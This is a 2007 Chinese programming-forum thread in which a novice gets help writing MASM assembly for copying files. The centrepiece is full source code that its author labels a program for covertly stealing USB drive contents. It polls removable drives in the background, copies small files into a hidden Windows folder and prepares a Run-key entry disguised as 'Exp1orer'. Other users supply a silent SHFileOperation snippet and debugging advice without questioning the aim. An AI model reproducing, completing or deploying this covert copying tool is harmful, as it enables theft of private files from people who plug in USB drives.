首页
社区
课程
招聘
[求助]求一个关于复制操作的代码
发表于: 2007-8-6 08:17 16782

[求助]求一个关于复制操作的代码

2007-8-6 08:17
16782
收藏
免费 7
支持
分享
最新回复 (43)
雪    币: 313
活跃值: (440)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
26
复制文件的函数不是只有copyfile....
2007-8-12 10:18
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
27
还有什么更好的方案吗
2007-8-12 10:24
0
雪    币: 313
活跃值: (440)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
28
SHFileOperation 你搜索下把
2007-8-12 10:31
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
29
搜索了下,都是C++,VB方面用它的资料。没汇编的资料与实例,本小菜没学过那些语言,看不懂
2007-8-12 11:08
0
雪    币: 313
活跃值: (440)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
30
呵呵,那你继续研究上面他们提供的代码吧,答案已经全部在上面了
2007-8-12 11:35
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
31
希望能复制时能排除 大于500M的与后缀是MP3的。
2007-8-12 12:16
0
雪    币: 1505
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
32
include shell32.inc  
include    windows.inc

include  shell32.inc
includelib shell32.lib
.data?
SHFILEOP SHFILEOPSTRUCT <>
.const
szFrom db 'D:\最新下载\*.*',0,0
szTo   db 'C:\TEMPDIR\',0,0
.code
start:

mov SHFILEOP.hwnd,NULL
mov SHFILEOP.wFunc,FO_COPY
push offset szFrom
pop SHFILEOP.pFrom
push offset szTo
pop SHFILEOP.pTo
mov SHFILEOP.fFlags,FOF_SILENT or  FOF_NOCONFIRMATION or FOF_NOCONFIRMMKDIR
mov SHFILEOP.fAnyOperationsAborted,TRUE
mov SHFILEOP.hNameMappings,NULL
mov SHFILEOP.lpszProgressTitle,NULL
invoke SHFileOperation,addr SHFILEOP
end start
2007-8-12 15:04
0
雪    币: 1505
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
33
条件还真多,用上面那个递归,然后再判断条件也就几行代码,干吗不自己动手丰衣足食啊呵呵,这么多人热情的帮助你,别老是考验大家的耐心了.
2007-8-12 15:11
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
34
这函数好棒啊!!!连递归查找都不用了啊。几行代码就完成了复制!!!
2007-8-12 16:08
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
35
我不是没有自己动手,我从早上起床坐到电脑前一直在试验,只是自己实在写不出来。
2007-8-12 16:09
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
36
请高手再帮我改改代码,加了两个功能,可都存在问题。
上传的附件:
2007-8-12 22:04
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
37
留名,有时间帮你看看
2007-8-13 01:33
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
38
帮我看看被我注释掉的这段代码。存在问题~~~~~~~源文件我也打包了。

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 后台窃取U盘内容至C盘的程序
; By Heicai
; 2007年8月12日 凌晨
;
; 感谢八进制里的Asm,看雪里的bithaha,好友巴丫丫、暗天使,
; 以及所有在我学习过程中帮助过我的人。谢谢你们!
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include                windows.inc
include                user32.inc
includelib        user32.lib
include                kernel32.inc
includelib        kernel32.lib
include                advapi32.inc
includelib        advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hSave        dd ?
lpDir                dd 256 dup (?)
lpDirBuffer        dd 256 dup (?)
lpFileName        dd 256 dup (?)
stMsg MSG <>
hFile dd ?
dwFileSize dd ?

hOpenFile dd ?
lpstSysTime1 dd SYSTEMTIME<>
lpstSysTime2 dd SYSTEMTIME<>

.data
szVol        db 'C',0
.const
szX        db '*.*',0
szM        db ':',0
szXie        db '\',0
szFile        db 'Active.exe',0
szRegKey   db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db 'Exp1orer',0
szC        db 'C:\Windows\CopyFromU\',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获得文件的修改时间的子程序
_GetFileTime proc _File
        LOCAL stFileLastWriteTime:FILETIME
        LOCAL stLocalFileTime:FILETIME
        LOCAL stSysTime:SYSTEMTIME
       
        invoke CreateFile,addr _File,GENERIC_READ,\                                        ;打开文件                                       
        FILE_SHARE_READ, NULL,OPEN_EXISTING,\
        FILE_FLAG_BACKUP_SEMANTICS, NULL
        mov hOpenFile,eax
        invoke GetFileTime,hOpenFile, NULL, NULL, ADDR stFileLastWriteTime                ;获得文件修改时间
        invoke FileTimeToLocalFileTime,ADDR stFileLastWriteTime, ADDR stLocalFileTime        ;转换逻辑时间
        invoke FileTimeToSystemTime, ADDR stLocalFileTime, ADDR stSysTime                ;转换系统时间
        invoke CloseHandle,hOpenFile
        ret
_GetFileTime endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>      

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 递归遍历复制所有文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_FindFile proc szPath
        LOCAL @hFindFile                                ;句柄
        LOCAL @stFindFile:WIN32_FIND_DATA                ;结构
        LOCAL @szPath[MAX_PATH]:BYTE                        ;存放要查找的"路径\"
        LOCAL @szCopyPath[MAX_PATH]:BYTE                ;存放要复制的"路径\"
        LOCAL @szSearch[MAX_PATH]:BYTE                        ;存放"路径\*.*"
        LOCAL @szFindFile[MAX_PATH]:BYTE                ;存放"路径\找到的文件"
        LOCAL @szCopyFile[MAX_PATH]:BYTE                ;存放"路径\要复制的文件"

        invoke RtlZeroMemory,addr @szPath,sizeof @szPath
        invoke RtlZeroMemory,addr @szCopyPath,sizeof @szCopyPath       
        invoke RtlZeroMemory,addr @szSearch,sizeof @szSearch       
        invoke RtlZeroMemory,addr @szFindFile,sizeof @szFindFile
        invoke RtlZeroMemory,addr @szCopyFile,sizeof @szCopyFile
        pushad
        invoke lstrcpy,addr @szPath,szPath                ;由参数传入要查找的"路径\"
        invoke lstrlen,addr @szPath                        ;取"路径"的字符长度
        lea esi,@szPath                                        ;取"路径"的缓冲区首地址
        xor ecx,ecx                                        ;清零
        mov cl,'\'                                        ;添加\
        .if byte ptr [esi+eax-1]!=cl                        ;如果"路径"的缓冲区首地址+长度的末尾一个字符不是"\"
                mov word ptr [esi+eax],cx                ;赋值"\"
        .endif
        invoke lstrcpy,addr @szSearch,addr @szPath        ;将要查找的"路径\"赋给原为空的缓冲区
          invoke lstrcat,addr @szSearch,addr szX                ;将要查找的"路径\"加上*.*
                 
        invoke lstrcpy,addr @szCopyPath,addr szC       
        invoke lstrcat,addr @szCopyPath,addr @szPath+3       
        lea eax,@szCopyPath                               
        invoke CreateDirectory,addr @szCopyPath,NULL       
          
         
        invoke FindFirstFile,addr @szSearch,addr @stFindFile                ;参数一:查找的文件字符串;参数二,指向WIN32_FIND_DATA结构缓冲区
        .if eax!=INVALID_HANDLE_VALUE
                mov @hFindFile,eax
        .repeat
                      invoke lstrcpy,addr @szFindFile,addr @szPath                ;"路径\" 赋值给 原为空的缓冲区
                      invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName        ;加上文件名,变成 "路径\找到的文件"
                invoke lstrcpy,addr @szCopyFile,addr @szCopyPath                ;"路径\" 赋值给 原为空的缓冲区
                invoke lstrcat,addr @szCopyFile,addr @stFindFile.cFileName        ;加上文件名,变成 "路径\要复制的文件"
                               
                             .if @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY        ;如果是目录
                                .if @stFindFile.cFileName!='.'                                ;如果非本目录
                                          invoke CreateDirectory,addr @szCopyFile,NULL        ;根据"路径\找到的文件"建立个目录
                                          invoke _FindFile,addr @szFindFile                ;递归查找
                                .endif
                              .else
             invoke  CreateFile,addr @szFindFile,GENERIC_READ,\ ;打开找到的文件
                            FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,\
                            OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
                    .if     eax !=  INVALID_HANDLE_VALUE
                            mov     hFile,eax
                            invoke  GetFileSize,hFile,NULL
                            mov     dwFileSize,eax
                                    .if dwFileSize<3000
                                            invoke CloseHandle,hFile

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 判断文件修改时间是否变晚了【此段存在问题!】                           
;                                            invoke _GetFileTime,@szFindFile                                ;获取文件修改时间的结构(U盘的文件)
;                                            mov lpstSysTime1,eax
;                                            invoke _GetFileTime,addr @szCopyFile                        ;获取文件修改时间的结构(C盘的文件)
;                                           mov lpstSysTime2,eax
;                            
;                                            invoke CompareFileTime,addr lpstSysTime1,addr lpstSysTime2 ;返回值为0日期相等,-1前者较早,1后者较早。
;                                            .if !eax==0
;                                                invoke MessageBox,NULL,addr szFile,addr szFile,NULL         ;作为测试比较结果用的弹框               
;                                        .endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                         
                                            invoke CopyFile,addr @szFindFile,addr @szCopyFile,FALSE
                            .else
                                            invoke CloseHandle,hFile
                            .endif
                    .endif
                              .endif
                      invoke FindNextFile,@hFindFile,addr @stFindFile                ;参数一:第一次查找返回的句柄;参数二,指向WIN32_FIND_DATA结构缓冲区
             .until eax==FALSE
        invoke FindClose,@hFindFile
        .endif

        popad
        ret
_FindFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 循环搜索各盘符判断是否属于移动硬盘
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetDiskType proc
        local szDisk[10]:byte
        .repeat
        .while szVol<='Y'                                                        ;当盘符小于Y
                invoke RtlZeroMemory,addr szDisk,sizeof szDisk                        ;清空缓冲区szDisk                       
                invoke lstrcat,addr szDisk,addr szVol                                ;盘符赋值给szDisk
                invoke lstrcat,addr szDisk,addr szM                                ;盘符后加上:
                invoke GetDriveType,addr szDisk                                        ;获取盘符类型
                .if eax==DRIVE_REMOVABLE                                        ;如果盘符属于移动硬盘型
                        invoke _FindFile,addr szDisk                                ;执行查找复制的子程序
                .endif
                inc szVol                                                        ;盘符值+1
        .endw
        mov szVol,'C'                                                                ;盘符值复位为C
        invoke Sleep,20000                                                        ;延迟30秒
        .until szVol=='Z'
        ret                                                        ;直到盘符为Z结束循环.因为每次到达Y时被复位为C,所以永远到不了Z
_GetDiskType endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
        call _GetDiskType
        invoke ExitProcess,NULL
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
上传的附件:
2007-8-13 13:34
0
雪    币: 1505
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
39
我今天的回帖数量超过论坛限制了,编辑这个帖子吧
invoke CompareFileTime,addr lpstSysTime1,addr lpstSysTime2

CompareFileTime比较的是FileTime不是systemtime

LONG CompareFileTime(
  CONST FILETIME *lpFileTime1,  // pointer to first file time
  CONST FILETIME *lpFileTime2   // pointer to second file time
);
另外,写的子函数_GetFileTime返回的是eax==== "invoke CloseHandle,hOpenFile"的返回值,
还有,看这个 lpstSysTime1 dd SYSTEMTIME<>
                     lpstSysTime2 dd SYSTEMTIME<>
错误很多,楼主虽然很热情可是最基本的程序设计都不太明白,建议先看一些基础书比较好,这样写程序效率太低了,出现的错误都是一些基础性错误.
你现在每天坐在电脑旁东瞅西看的找错误问问题还不如抽几天时间系统的读一遍书这样就不会有这些问题了.
我没有笑你,只是觉得再过几个月之后你会因为现在提的这些问题笑自己的.
2007-8-13 15:38
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
40
你没认真看我代码,已经把FileTime结构赋值给systemtime了。不然同名我没法比较
2007-8-13 17:51
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
41
这我该如何是好啊,我想最后实现这个比较时间的功能。你能在原代码基础上帮我改改吗

源文件:
http://bbs.pediy.com/attachment.php?attachmentid=7227&d=1186983252

我想将要拷贝的文件和已存在的文件比较修改日期,如果没改变就跳过该文件。
2007-8-14 00:29
0
雪    币: 2134
活跃值: (14)
能力值: (RANK:170 )
在线值:
发帖
回帖
粉丝
42
我曾经写的一个小东西,你看看,用的c++和递归
http://blog.csdn.net/avder/archive/2007/06/25/1665123.aspx
这个主要是编历,你每个遍历里面加上创建文件夹或者复制文件就好了
2007-8-14 10:52
0
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
43
谢谢你的热情,遍历与复制已经完成了。
现在期望的是比较修改时间。如果文件的修改时间比原来的晚则覆盖,否则不复制
2007-8-14 11:30
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
44
什么也不说了,现在学习了
2007-8-15 08:09
0
游客
登录 | 注册 方可回帖
返回
//